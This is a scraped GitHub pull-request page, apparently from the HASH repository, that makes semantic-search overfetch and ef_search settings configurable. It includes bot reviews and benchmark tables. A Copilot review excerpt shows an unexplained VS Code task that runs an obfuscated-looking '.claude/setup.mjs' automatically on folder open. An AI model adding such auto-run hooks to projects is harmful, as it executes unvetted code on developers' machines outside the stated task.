BE-743: Make the semantic-search candidate pool and ef_search configurable by TimDiekmann · Pull Request #9152 · hashintel/hash

TimDiekmann · 2026-08-03T17:54:02Z

🌟 What is the purpose of this PR?

The semantic search's candidate pool was limit × 4 with the factor compiled in, and hnsw.ef_search was derived from the pool alone. Both are now store settings, so the pool depth can be tuned against real policies and data without a rebuild.

Deriving ef_search from the pool also leaves the index walk shallow whenever a search asks for few results, which is where a missed neighbour is most likely. A configurable floor decouples how deep the walk goes from how much the exact re-scoring has to read.

🔗 Related links

BE-743 — this change
BE-618 — the search rework this builds on; recall measurements and the ef_search findings are recorded there

🚫 Blocked by

Stacked on t/be-618-investigate-slow-top-nav-search-query-performance, so that one merges first.

🔍 What does this change?

New SemanticSearchSettings on PostgresStoreSettings, holding the candidate multiplier (NonZero<usize>, default 4) and an ef_search floor (default 400)
The derivation moved with it: candidate_pool(limit) saturates instead of wrapping, ef_search(pool) takes the larger of pool and floor and clamps to the range pgvector accepts. The bounds live in one named constant rather than as a literal clamp(1, 1000) next to the query
Both search paths read the settings; QUANTIZED_RANK_OVERFETCH is gone
Two server flags with HASH_GRAPH_SEMANTIC_SEARCH_CANDIDATE_OVERFETCH and HASH_GRAPH_SEMANTIC_SEARCH_MINIMUM_EF_SEARCH

The floor only takes effect below a limit of 100 — above that the pool is deeper than 400 and decides the walk itself. A search for a single record previously walked with ef_search = 4.

Pre-Merge Checklist 🚀

🚢 Has this modified a publishable library?

This PR:

does not modify any publishable blocks or libraries, or modifications do not need publishing

📜 Does this require a change to the docs?

The changes in this PR:

are internal and do not require a docs change

🕸️ Does this require a change to the Turbo Graph?

The changes in this PR:

do not affect the execution graph

⚠️ Known issues

The defaults are unchanged from BE-618 on purpose: the factor is the measured-optimistic end from a 100k sample without filters, and the floor of 400 is a deliberate middle ground rather than pinning ef_search at its maximum. Both want a measurement against this code with real policies before they move, which is what making them configurable is for.

🐾 Next steps

Measure factor and floor over several limits with real policies, then decide whether the factor should become a function of the limit rather than a constant
The type search shares the multiplier but sets no ef_search, since entity_type_embeddings has no HNSW index — its pool is quantization reserve only

🛡 What tests cover this?

Unit tests for the derivation: pool scaling including saturation, ef_search holding the whole pool, the floor applying to small pools, and both bounds of the accepted range
The existing search tests exercise the default settings end to end

❓ How to test this?

Start the graph with HASH_GRAPH_SEMANTIC_SEARCH_CANDIDATE_OVERFETCH=16
Run a search and confirm from the query log that the candidate reads use LIMIT limit × 16 and hnsw.ef_search follows
With a small limit, confirm ef_search stays at the floor rather than following the pool

…rable

vercel · 2026-08-03T17:54:09Z

The latest updates on your projects. Learn more about Vercel for GitHub.

Project	Deployment	Actions	Updated (UTC)
petrinaut	Ready	Preview	Aug 4, 2026 10:34am

2 Skipped Deployments

Project	Deployment	Actions	Updated (UTC)
hash	Ignored	Preview	Aug 4, 2026 10:34am
hashdotdesign-tokens	Ignored	Preview	Aug 4, 2026 10:34am

codecov · 2026-08-03T18:08:37Z

Codecov Report

❌ Patch coverage is 84.90566% with 8 lines in your changes missing coverage. Please review.
✅ Project coverage is 59.62%. Comparing base (16d8f47) to head (2548dc8).
⚠️ Report is 1 commits behind head on t/be-618-investigate-slow-top-nav-search-query-performance.

Files with missing lines	Patch %	Lines
...cal/graph/postgres-store/src/store/postgres/mod.rs	86.53%	7 Missing ⚠️
...tore/src/store/postgres/knowledge/entity/search.rs	0.00%	1 Missing ⚠️

Additional details and impacted files

@@                                      Coverage Diff                                       @@
##           t/be-618-investigate-slow-top-nav-search-query-performance    #9152      +/-   ##
==============================================================================================
+ Coverage                                                       59.61%   59.62%   +0.01%     
==============================================================================================
  Files                                                            1409     1409              
  Lines                                                          138283   138335      +52     
  Branches                                                         6424     6424              
==============================================================================================
+ Hits                                                            82438    82483      +45     
- Misses                                                          54843    54850       +7     
  Partials                                                         1002     1002

Flag	Coverage Δ
apps.hash-ai-worker-ts	`1.99% <ø> (ø)`
apps.hash-api	`12.09% <ø> (ø)`
local.hash-backend-utils	`2.55% <ø> (ø)`
local.hash-graph-sdk	`10.02% <ø> (ø)`
local.hash-isomorphic-utils	`6.37% <ø> (ø)`
rust.hash-graph-api	`7.37% <ø> (ø)`
rust.hash-graph-postgres-store	`29.48% <84.90%> (+0.14%)`	⬆️
rust.hashql-compiletest	`28.39% <ø> (ø)`
rust.hashql-eval	`79.82% <ø> (ø)`

Flags with carried forward coverage won't be shown. Click here to find out more.

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:

❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

cursor · 2026-08-03T19:25:59Z

PR Summary

Medium Risk
Changes semantic search recall and query cost; defaults match prior behavior but mis-tuned env values could hurt performance or miss neighbours on small limits.

Overview
Semantic search tuning moves off hard-coded constants into SemanticSearchSettings on PostgresStoreSettings, so candidate depth and HNSW walk depth can be changed at runtime without rebuilding.

The store now derives candidate_pool as limit × candidate_overfetch (saturating multiply, default multiplier 4) and hnsw.ef_search as max(pool, minimum_ef_search) clamped to pgvector’s accepted range (default floor 400). Entity search uses these values for branch candidate LIMIT and SET LOCAL hnsw.ef_search in prepare_hnsw_scan; the old QUANTIZED_RANK_OVERFETCH constant is removed.

hash-graph server exposes HASH_GRAPH_SEMANTIC_SEARCH_CANDIDATE_OVERFETCH and HASH_GRAPH_SEMANTIC_SEARCH_MINIMUM_EF_SEARCH, wired into pool creation. Unit tests cover pool scaling, the ef_search floor for small limits, and range bounds.

^{Reviewed by Cursor Bugbot for commit 5e26029. Bugbot is set up for automated code reviews on this repo. Configure here.}

github-actions · 2026-08-03T19:26:04Z

Benchmark results

@rust/hash-graph-benches – Integrations

policy_resolution_large

Function	Value	Mean	Flame graphs
resolve_policies_for_actor	user: empty, selectivity: high, policies: 2002	$$26.9 \mathrm{ms} \pm 164 \mathrm{μs}\left({\color{gray}-1.701 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: low, policies: 1	$$3.43 \mathrm{ms} \pm 18.0 \mathrm{μs}\left({\color{gray}0.044 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: medium, policies: 1002	$$12.3 \mathrm{ms} \pm 129 \mathrm{μs}\left({\color{gray}-1.678 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: high, policies: 3314	$$42.9 \mathrm{ms} \pm 365 \mathrm{μs}\left({\color{gray}-1.450 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: low, policies: 1	$$13.9 \mathrm{ms} \pm 129 \mathrm{μs}\left({\color{gray}-1.606 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: medium, policies: 1527	$$23.3 \mathrm{ms} \pm 182 \mathrm{μs}\left({\color{gray}-4.806 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: high, policies: 2078	$$28.1 \mathrm{ms} \pm 217 \mathrm{μs}\left({\color{gray}-1.393 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: low, policies: 1	$$3.74 \mathrm{ms} \pm 21.7 \mathrm{μs}\left({\color{gray}-0.372 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: medium, policies: 1033	$$13.4 \mathrm{ms} \pm 133 \mathrm{μs}\left({\color{gray}-1.067 \mathrm{\%}}\right) $$	Flame Graph

policy_resolution_medium

Function	Value	Mean	Flame graphs
resolve_policies_for_actor	user: empty, selectivity: high, policies: 102	$$3.86 \mathrm{ms} \pm 27.3 \mathrm{μs}\left({\color{gray}-0.077 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: low, policies: 1	$$3.02 \mathrm{ms} \pm 17.8 \mathrm{μs}\left({\color{gray}-0.204 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: medium, policies: 52	$$3.37 \mathrm{ms} \pm 20.7 \mathrm{μs}\left({\color{gray}-1.001 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: high, policies: 269	$$5.16 \mathrm{ms} \pm 32.2 \mathrm{μs}\left({\color{gray}-0.827 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: low, policies: 1	$$3.55 \mathrm{ms} \pm 16.4 \mathrm{μs}\left({\color{gray}0.639 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: medium, policies: 108	$$4.17 \mathrm{ms} \pm 29.3 \mathrm{μs}\left({\color{gray}0.994 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: high, policies: 133	$$4.42 \mathrm{ms} \pm 33.8 \mathrm{μs}\left({\color{gray}-0.623 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: low, policies: 1	$$3.49 \mathrm{ms} \pm 20.5 \mathrm{μs}\left({\color{gray}0.034 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: medium, policies: 63	$$4.19 \mathrm{ms} \pm 33.8 \mathrm{μs}\left({\color{gray}0.176 \mathrm{\%}}\right) $$	Flame Graph

policy_resolution_none

Function	Value	Mean	Flame graphs
resolve_policies_for_actor	user: empty, selectivity: high, policies: 2	$$2.67 \mathrm{ms} \pm 13.7 \mathrm{μs}\left({\color{gray}-2.552 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: low, policies: 1	$$2.47 \mathrm{ms} \pm 13.9 \mathrm{μs}\left({\color{gray}-4.226 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: medium, policies: 2	$$2.64 \mathrm{ms} \pm 15.3 \mathrm{μs}\left({\color{gray}-2.558 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: high, policies: 8	$$2.92 \mathrm{ms} \pm 16.2 \mathrm{μs}\left({\color{gray}-3.451 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: low, policies: 1	$$2.71 \mathrm{ms} \pm 15.4 \mathrm{μs}\left({\color{gray}-2.436 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: medium, policies: 3	$$2.92 \mathrm{ms} \pm 20.9 \mathrm{μs}\left({\color{gray}-2.700 \mathrm{\%}}\right) $$	Flame Graph

policy_resolution_small

Function	Value	Mean	Flame graphs
resolve_policies_for_actor	user: empty, selectivity: high, policies: 52	$$3.07 \mathrm{ms} \pm 27.6 \mathrm{μs}\left({\color{gray}-1.360 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: low, policies: 1	$$2.75 \mathrm{ms} \pm 15.2 \mathrm{μs}\left({\color{gray}-2.487 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: medium, policies: 26	$$3.00 \mathrm{ms} \pm 17.4 \mathrm{μs}\left({\color{gray}-1.799 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: high, policies: 94	$$3.45 \mathrm{ms} \pm 22.6 \mathrm{μs}\left({\color{gray}-1.322 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: low, policies: 1	$$2.97 \mathrm{ms} \pm 17.2 \mathrm{μs}\left({\color{gray}-1.192 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: medium, policies: 27	$$3.29 \mathrm{ms} \pm 21.6 \mathrm{μs}\left({\color{gray}-0.182 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: high, policies: 66	$$3.39 \mathrm{ms} \pm 23.8 \mathrm{μs}\left({\color{gray}-2.885 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: low, policies: 1	$$2.95 \mathrm{ms} \pm 17.4 \mathrm{μs}\left({\color{gray}-2.857 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: medium, policies: 29	$$3.34 \mathrm{ms} \pm 23.9 \mathrm{μs}\left({\color{gray}-3.836 \mathrm{\%}}\right) $$	Flame Graph

read_scaling_complete

Function	Value	Mean	Flame graphs
entity_by_id;one_depth	1 entities	$$42.7 \mathrm{ms} \pm 247 \mathrm{μs}\left({\color{gray}-0.553 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;one_depth	10 entities	$$33.0 \mathrm{ms} \pm 204 \mathrm{μs}\left({\color{gray}-2.509 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;one_depth	25 entities	$$35.3 \mathrm{ms} \pm 179 \mathrm{μs}\left({\color{gray}-0.451 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;one_depth	5 entities	$$31.9 \mathrm{ms} \pm 218 \mathrm{μs}\left({\color{gray}-1.802 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;one_depth	50 entities	$$41.2 \mathrm{ms} \pm 235 \mathrm{μs}\left({\color{gray}-0.974 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;two_depth	1 entities	$$50.1 \mathrm{ms} \pm 335 \mathrm{μs}\left({\color{gray}0.633 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;two_depth	10 entities	$$40.0 \mathrm{ms} \pm 231 \mathrm{μs}\left({\color{gray}-0.125 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;two_depth	25 entities	$$90.6 \mathrm{ms} \pm 605 \mathrm{μs}\left({\color{gray}1.28 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;two_depth	5 entities	$$33.7 \mathrm{ms} \pm 259 \mathrm{μs}\left({\color{gray}0.080 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;two_depth	50 entities	$$277 \mathrm{ms} \pm 901 \mathrm{μs}\left({\color{gray}1.12 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;zero_depth	1 entities	$$11.0 \mathrm{ms} \pm 71.5 \mathrm{μs}\left({\color{gray}0.638 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;zero_depth	10 entities	$$11.1 \mathrm{ms} \pm 73.0 \mathrm{μs}\left({\color{gray}-0.771 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;zero_depth	25 entities	$$11.1 \mathrm{ms} \pm 63.2 \mathrm{μs}\left({\color{gray}-0.951 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;zero_depth	5 entities	$$11.0 \mathrm{ms} \pm 67.0 \mathrm{μs}\left({\color{gray}-0.465 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;zero_depth	50 entities	$$11.1 \mathrm{ms} \pm 67.9 \mathrm{μs}\left({\color{gray}-1.035 \mathrm{\%}}\right) $$	Flame Graph

read_scaling_linkless

Function	Value	Mean	Flame graphs
entity_by_id	1 entities	$$11.0 \mathrm{ms} \pm 61.1 \mathrm{μs}\left({\color{gray}-1.106 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	10 entities	$$11.2 \mathrm{ms} \pm 77.3 \mathrm{μs}\left({\color{gray}-0.695 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	100 entities	$$11.1 \mathrm{ms} \pm 61.6 \mathrm{μs}\left({\color{gray}-0.648 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	1000 entities	$$11.1 \mathrm{ms} \pm 77.9 \mathrm{μs}\left({\color{gray}0.546 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	10000 entities	$$11.4 \mathrm{ms} \pm 68.7 \mathrm{μs}\left({\color{gray}0.770 \mathrm{\%}}\right) $$	Flame Graph

representative_read_entity

Function	Value	Mean	Flame graphs
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/block/v/1`	$$11.6 \mathrm{ms} \pm 70.2 \mathrm{μs}\left({\color{gray}0.733 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/book/v/1`	$$11.7 \mathrm{ms} \pm 81.5 \mathrm{μs}\left({\color{gray}2.78 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/building/v/1`	$$11.6 \mathrm{ms} \pm 71.4 \mathrm{μs}\left({\color{gray}0.951 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/organization/v/1`	$$11.4 \mathrm{ms} \pm 59.1 \mathrm{μs}\left({\color{gray}-0.501 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/page/v/2`	$$11.4 \mathrm{ms} \pm 55.8 \mathrm{μs}\left({\color{gray}-0.323 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/person/v/1`	$$11.6 \mathrm{ms} \pm 51.5 \mathrm{μs}\left({\color{gray}-0.248 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/playlist/v/1`	$$11.4 \mathrm{ms} \pm 72.0 \mathrm{μs}\left({\color{gray}0.132 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/song/v/1`	$$11.5 \mathrm{ms} \pm 74.1 \mathrm{μs}\left({\color{gray}1.88 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/uk-address/v/1`	$$11.5 \mathrm{ms} \pm 66.2 \mathrm{μs}\left({\color{gray}2.17 \mathrm{\%}}\right) $$	Flame Graph

representative_read_entity_type

Function	Value	Mean	Flame graphs
get_entity_type_by_id	Account ID: `bf5a9ef5-dc3b-43cf-a291-6210c0321eba`	$$8.55 \mathrm{ms} \pm 38.4 \mathrm{μs}\left({\color{gray}-1.953 \mathrm{\%}}\right) $$	Flame Graph

representative_read_multiple_entities

Function	Value	Mean	Flame graphs
entity_by_property	traversal_paths=0	0	$$54.9 \mathrm{ms} \pm 411 \mathrm{μs}\left({\color{gray}-3.384 \mathrm{\%}}\right) $$
entity_by_property	traversal_paths=255	1,resolve_depths=inherit:1;values:255;properties:255;links:127;link_dests:126;type:true	$$113 \mathrm{ms} \pm 1.91 \mathrm{ms}\left({\color{gray}1.82 \mathrm{\%}}\right) $$
entity_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:0;properties:0;links:0;link_dests:0;type:false	$$62.7 \mathrm{ms} \pm 626 \mathrm{μs}\left({\color{gray}-4.412 \mathrm{\%}}\right) $$
entity_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:0;properties:0;links:1;link_dests:0;type:true	$$72.0 \mathrm{ms} \pm 552 \mathrm{μs}\left({\color{gray}-3.998 \mathrm{\%}}\right) $$
entity_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:0;properties:2;links:1;link_dests:0;type:true	$$80.9 \mathrm{ms} \pm 487 \mathrm{μs}\left({\color{gray}-3.520 \mathrm{\%}}\right) $$
entity_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:2;properties:2;links:1;link_dests:0;type:true	$$90.6 \mathrm{ms} \pm 756 \mathrm{μs}\left({\color{gray}1.95 \mathrm{\%}}\right) $$
link_by_source_by_property	traversal_paths=0	0	$$42.3 \mathrm{ms} \pm 254 \mathrm{μs}\left({\color{gray}-1.730 \mathrm{\%}}\right) $$
link_by_source_by_property	traversal_paths=255	1,resolve_depths=inherit:1;values:255;properties:255;links:127;link_dests:126;type:true	$$70.4 \mathrm{ms} \pm 423 \mathrm{μs}\left({\color{gray}-4.585 \mathrm{\%}}\right) $$
link_by_source_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:0;properties:0;links:0;link_dests:0;type:false	$$48.4 \mathrm{ms} \pm 296 \mathrm{μs}\left({\color{gray}-1.913 \mathrm{\%}}\right) $$
link_by_source_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:0;properties:0;links:1;link_dests:0;type:true	$$57.0 \mathrm{ms} \pm 427 \mathrm{μs}\left({\color{lightgreen}-7.490 \mathrm{\%}}\right) $$
link_by_source_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:0;properties:2;links:1;link_dests:0;type:true	$$60.0 \mathrm{ms} \pm 425 \mathrm{μs}\left({\color{gray}-4.650 \mathrm{\%}}\right) $$
link_by_source_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:2;properties:2;links:1;link_dests:0;type:true	$$59.6 \mathrm{ms} \pm 367 \mathrm{μs}\left({\color{lightgreen}-6.926 \mathrm{\%}}\right) $$

scenarios

Function	Value	Mean	Flame graphs
full_test	query-limited	$$118 \mathrm{ms} \pm 704 \mathrm{μs}\left({\color{gray}3.80 \mathrm{\%}}\right) $$	Flame Graph
full_test	query-unlimited	$$130 \mathrm{ms} \pm 553 \mathrm{μs}\left({\color{gray}4.02 \mathrm{\%}}\right) $$	Flame Graph
linked_queries	query-limited	$$19.5 \mathrm{ms} \pm 124 \mathrm{μs}\left({\color{gray}0.054 \mathrm{\%}}\right) $$	Flame Graph
linked_queries	query-unlimited	$$527 \mathrm{ms} \pm 1.13 \mathrm{ms}\left({\color{gray}-3.532 \mathrm{\%}}\right) $$	Flame Graph

Copilot

Pull request overview

Makes semantic-search candidate overfetching and HNSW walk depth configurable through store and server settings.

Changes:

Adds configurable candidate-pool and minimum ef_search settings.
Applies settings to entity and entity-type semantic searches.
Adds derivation and bounds tests.

Reviewed changes

Copilot reviewed 8 out of 8 changed files in this pull request and generated no comments.

Show a summary per file

File	Description
`tests/graph/benches/graph/scenario/runner.rs`	Uses defaults for new settings.
`libs/@local/graph/postgres-store/src/store/postgres/query/mod.rs`	Removes obsolete constant export.
`libs/@local/graph/postgres-store/src/store/postgres/query/compile/mod.rs`	Removes compiled-in overfetch constant.
`libs/@local/graph/postgres-store/src/store/postgres/ontology/entity_type.rs`	Uses configurable candidate pools.
`libs/@local/graph/postgres-store/src/store/postgres/mod.rs`	Defines settings, defaults, bounds, and tests.
`libs/@local/graph/postgres-store/src/store/postgres/knowledge/entity/search.rs`	Configures candidate pools and HNSW scans.
`libs/@local/graph/postgres-store/src/store/mod.rs`	Exports semantic-search settings.
`apps/hash-graph/src/subcommand/server.rs`	Adds CLI/environment configuration and wiring.

Copilot

Pull request overview

Copilot reviewed 12 out of 13 changed files in this pull request and generated 1 comment.

+      "command": "node .claude/setup.mjs",
+      "runOptions": {
+        "runOn": "folderOpen"


semgrep-code-hashintel · 2026-08-04T10:32:18Z

Semgrep found 4 path-join-resolve-traversal findings:

.claude/setup.mjs
- L223 - Triage
- L223 - Triage
- L257 - Triage
- L257 - Triage

Detected possible user input going into a path.join or path.resolve function. This could possibly lead to a path traversal vulnerability, where the attacker can access arbitrary files stored in the file system. Instead, be sure to sanitize or validate user input first.

View Dataflow Graph

flowchart LR
    classDef invis fill:white, stroke: none
    classDef default fill:#e7f5ff, color:#1c7fd6, stroke: none

    subgraph File0["<b>.claude/setup.mjs</b>"]
        direction LR
        %% Source

        subgraph Source
            direction LR

            v0["<a href=https://github.com/hashintel/hash/blob/5e2602918223aae25b8654675b8c7ab8bd75d741/.claude/setup.mjs#L226 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 226] _0x2912ea</a>"]
        end
        %% Intermediate

        subgraph Traces0[Traces]
            direction TB

            v2["<a href=https://github.com/hashintel/hash/blob/5e2602918223aae25b8654675b8c7ab8bd75d741/.claude/setup.mjs#L226 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 226] _0x2912ea</a>"]
        end
        %% Sink

        subgraph Sink
            direction LR

            v1["<a href=https://github.com/hashintel/hash/blob/5e2602918223aae25b8654675b8c7ab8bd75d741/.claude/setup.mjs#L257 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 257] _0x2912ea</a>"]
        end
    end
    %% Class Assignment
    Source:::invis
    Sink:::invis

    Traces0:::invis
    File0:::invis

    %% Connections

    Source --> Traces0
    Traces0 --> Sink

Copilot

Pull request overview

Copilot reviewed 8 out of 8 changed files in this pull request and generated no new comments.

Suppressed comments (1)

apps/hash-graph/src/subcommand/server.rs:250

The Compose graph service supplies an explicit environment map and does not forward either new variable (infra/compose/compose.yml:607-625). Consequently, setting these variables before starting the Compose stack leaves both values at their defaults, so this configuration surface is unavailable in that supported deployment path. Add pass-through entries for both variables to the graph service environment.

    #[clap(
        long,
        default_value_t = SemanticSearchSettings::default().candidate_overfetch,
        env = "HASH_GRAPH_SEMANTIC_SEARCH_CANDIDATE_OVERFETCH",
    )]
    pub semantic_search_candidate_overfetch: NonZero<usize>,

    /// Lower bound for the size of a semantic search's vector-index walk.
    ///
    /// Searches asking for few results otherwise walk the index too shallowly to find the
    /// neighbours their re-scoring could order.
    #[clap(
        long,
        default_value_t = SemanticSearchSettings::default().minimum_ef_search,
        env = "HASH_GRAPH_SEMANTIC_SEARCH_MINIMUM_EF_SEARCH",
    )]

BE-743: Make the semantic-search candidate pool and ef_search configu…

2548dc8

…rable

TimDiekmann self-assigned this Aug 3, 2026

github-actions Bot added area/apps > hash* Affects HASH (a `hash-*` app) area/libs Relates to first-party libraries/crates/packages (area) type/eng > backend Owned by the @backend team area/tests New or updated tests area/apps area/apps > hash-graph labels Aug 3, 2026

vercel Bot deployed to Preview – hash August 3, 2026 18:07 View deployment

TimDiekmann marked this pull request as ready for review August 3, 2026 19:25

Copilot AI balanced review requested due to automatic review settings August 3, 2026 19:25

Copilot started reviewing on behalf of TimDiekmann August 3, 2026 19:26 View session

Copilot AI reviewed Aug 3, 2026

View reviewed changes

Copilot AI review requested due to automatic review settings August 4, 2026 10:25

Copilot started reviewing on behalf of TimDiekmann August 4, 2026 10:25 View session

Copilot AI reviewed Aug 4, 2026

View reviewed changes

Comment thread .vscode/tasks.json Outdated

Comment on lines +7 to +9

"command": "node .claude/setup.mjs",

"runOptions": {

"runOn": "folderOpen"

vercel Bot temporarily deployed to Preview – petrinaut August 4, 2026 10:34 Inactive

Copilot AI review requested due to automatic review settings August 4, 2026 13:17

TimDiekmann force-pushed the t/be-743-make-the-semantic-search-candidate-pool-and-ef_search branch from 5e26029 to 2548dc8 Compare August 4, 2026 13:17

Copilot started reviewing on behalf of TimDiekmann August 4, 2026 13:18 View session

Copilot AI reviewed Aug 4, 2026

View reviewed changes

TimDiekmann force-pushed the t/be-618-investigate-slow-top-nav-search-query-performance branch from 653360c to 16d8f47 Compare August 4, 2026 14:13

Navigation Menu

Uh oh!

BE-743: Make the semantic-search candidate pool and ef_search configurable - #9152

BE-743: Make the semantic-search candidate pool and ef_search configurable#9152
TimDiekmann wants to merge 1 commit into
t/be-618-investigate-slow-top-nav-search-query-performancefrom
t/be-743-make-the-semantic-search-candidate-pool-and-ef_search

TimDiekmann commented Aug 3, 2026

Uh oh!

vercel Bot commented Aug 3, 2026 •

edited

Loading

Uh oh!

codecov Bot commented Aug 3, 2026 •

edited

Loading

Uh oh!

cursor Bot commented Aug 3, 2026 •

edited

Loading

Uh oh!

github-actions Bot commented Aug 3, 2026

@rust/hash-graph-benches – Integrations

policy_resolution_large

policy_resolution_medium

policy_resolution_none

policy_resolution_small

read_scaling_complete

read_scaling_linkless

representative_read_entity

representative_read_entity_type

representative_read_multiple_entities

scenarios

Uh oh!

Copilot AI left a comment

Uh oh!

Copilot AI left a comment

Uh oh!

semgrep-code-hashintel Bot commented Aug 4, 2026

Uh oh!

Copilot AI left a comment

Uh oh!

Reviewers

Assignees

Labels

Milestone

Development

Uh oh!

2 participants

Uh oh!

Conversation

TimDiekmann commented Aug 3, 2026

🌟 What is the purpose of this PR?

🔗 Related links

🚫 Blocked by

🔍 What does this change?

Pre-Merge Checklist 🚀

🚢 Has this modified a publishable library?

📜 Does this require a change to the docs?

🕸️ Does this require a change to the Turbo Graph?

⚠️ Known issues

🐾 Next steps

🛡 What tests cover this?

❓ How to test this?

Uh oh!

vercel Bot commented Aug 3, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

codecov Bot commented Aug 3, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Codecov Report

Uh oh!

cursor Bot commented Aug 3, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

PR Summary

Uh oh!

github-actions Bot commented Aug 3, 2026

Benchmark results

@rust/hash-graph-benches – Integrations

policy_resolution_large

policy_resolution_medium

policy_resolution_none

policy_resolution_small

read_scaling_complete

read_scaling_linkless

representative_read_entity

representative_read_entity_type

representative_read_multiple_entities

scenarios

Uh oh!

Copilot AI left a comment

Choose a reason for hiding this comment

Pull request overview

Reviewed changes

Uh oh!

Copilot AI left a comment

Choose a reason for hiding this comment

Pull request overview

Uh oh!

semgrep-code-hashintel Bot commented Aug 4, 2026

Uh oh!

Copilot AI left a comment

Choose a reason for hiding this comment

Pull request overview

Uh oh!

Reviewers

Assignees

Labels

Milestone

Development

Uh oh!

2 participants

vercel Bot commented Aug 3, 2026 •

edited

Loading

codecov Bot commented Aug 3, 2026 •

edited

Loading

cursor Bot commented Aug 3, 2026 •

edited

Loading